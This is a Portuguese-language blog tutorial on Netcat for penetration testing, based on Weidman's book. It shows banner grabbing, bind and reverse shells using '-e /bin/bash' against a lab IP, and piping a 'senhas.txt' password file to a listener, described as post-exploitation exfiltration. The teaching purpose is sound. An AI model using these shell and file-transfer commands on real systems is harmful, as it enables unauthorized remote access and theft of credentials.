Netcat: O canivete suíço das conexões TCP/IP

O Netcat é uma ferramenta versátil para testes de rede o qual permite ler e escrever dados através das conexões, usando o protocolo TCP/IP.

Foi desenhado para ser uma ferramenta back-end confiável que pode ser usada diretamente ou de modo fácil por outros programas e scripts. Ao mesmo tempo, é cheia de funcionalidades de debugging e exploração, já que pode criar quase qualquer tipo de conexão que você possa precisar e tem diversas capacidades interessantes.

Esta ferramenta provê acesso às principais funcionalidades:

  • Conexões de saída e entrada, TCP ou UDP, de ou para qualquer porta;
  • Tem um modo de tunelamento que permite também um tunelamento espeicla como UDP para TCP, com a possibilidade de espeicificar todos os parâmetros de rede (porta de origem/interface, porta/interface ouvinte, e o host remoto permitido para conectar no túnel;
  • Tem a funcionalidades de port scanning, de modo aleatório;
  • Opções avançadas de uso como modo de envio buffered (uma linha a cada N segundos) e hexdump (para stderr ou para um arquivo específico) dos dados transmitidos ou recebidos;
  • Parser e responder dos códigos RFC854 opcionais.

No Kali, para vermos as opções do Netcat, devemos entrar com o comando nc -h, como pode ser visto abaixo:

Netcat - Opção h

Netcat – Opção h

Verificando se uma porta está ouvindo

Vamos fazer o Netcat se conectar a uma porta para verificar se está aguardando alguma conexão. Vamos testar em um servidor web qualquer. Diga ao Netcat para usar a porta 80 e seja no modo verbose com a opção v. Se a porta estiver aberta, você um resultado semelhante a este:

Netcat - Verificando porta 80 aberta

Netcat – Verificando porta 80 aberta

A partir deste comando, ele nos dá uma conexão TCP com o IP informado. Tudo o que digitarmos e apertamos ENTER, será enviado para o servidor web.

Obtendo informações do banner do servidor web

Após abrir a conexão com o IP informado, digite HEAD / HTTP/1.0 e aperte ENTER algumas vezes para que o servidor responda com as informações que queremos.

Netcat - Obtendo banner do servidor web

Netcat – Obtendo banner do servidor web

Aguardando uma conexão

Você pode ficar escutando por uma conexão de entrada em uma porta através do comando nc -lvp 1234, onde o parâmetros l (listen), v (verbose) e p (port). Abra outro terminal e utilize o comando nc 127.0.0.1 1234 para se conectar e digite qualquer mensagem e aperte ENTER. Você verá que a outra janela do terminal receberá a mensagem.

Netcat - Ouvindo conexão em uma porta

Netcat – Ouvindo conexão em uma porta

Ouvindo um Command Shell

Quando você configura o Netcat para ouvir, use também o parâmetro -e para dize-lo para executar o /bin/bash (ou para iniciar um prompt de comando Bash) quando receber a conexão. Isto permite que qualquer um que se conecte como ouvinte para executar os comandos em seu sistema:

Netcat - Ouvindo conexão com command shell

Netcat – Ouvindo conexão com command shell

Em uma segunda tela do terminal, faça a conexão novamente e execute alguns comandos linux como se estivesse no terminal do seu alvo:

Netcat - Abrindo command shell

Netcat – Abrindo command shell

Este exemplo foi feito na mesma máquina, mas ela pode ser feita entre máquinas diferentes. Tente isto com duas máquinas virtuais em seu próprio lab.

Empurrando um Command Shell de volta para o ouvinte

Para fazermos isto, vamos configurar nosso primeiro terminal para ouvir na porta 1234, mas sem o parâmetro -e neste momento.

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...

Agora abra um segundo terminal e se conecte no Netcat ouvinte que acabamos de criar:

root@kali:~# nc 192.168.20.9 1234 -e /bin/bash

A conexão é feita normalmente, mas apenas utilizamos o parâmetro -e para executar o /bin/bash. Volte para o primeiro terminal para ver a conexão, e se você usar comandos do terminal, você verá eles sendo executados.

listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921
whoami
root

Agora, ao invés de produzir uma saída do que vem do ouvinte para a tela, use o > para enviar para um arquivo:

root@kali:~# nc -lvp 1234 > netcatfile
listening on [any] 1234 ...

No segundo terminal que configurou a conexão Netcat, mas desta vez utilize o símbolo < para dizer para ele enviar o contéudo do arquivo através da conexão Netcat. Espere alguns segundos para ele transferir e veja o conteúdo do arquivo criado em sua primeira instância. O resultado deve ser semelhante a isto:

root@kali:~# nc 192.168.20.9 1234 < senhas.txt

Você usou o Netcat para transferir um arquivo. Neste caso foi apenas um exemplo simples, mas imagine o que pode ser feito para transferir arquivos de um sistema explorado. Esta técnica é muito utilizada na fase pós-exploratória do pentest, desde que você tenha acesso ao sistema.

Fonte: Weidman, Georgia. Penetration Testing: A Hands-On Introduction to Hacking. 2014

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Certificações que possuo: EC-Council CEH, CompTIA (Security+, CySA+ e Pentest+), EXIN (EHF e ISO 27001), MCSO, MCRM, ITIL v3. Tenho interesse por todas as áreas da informática, mas em especial em Gestão e Governança de TI, Segurança da Informação e Ethical Hacking.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *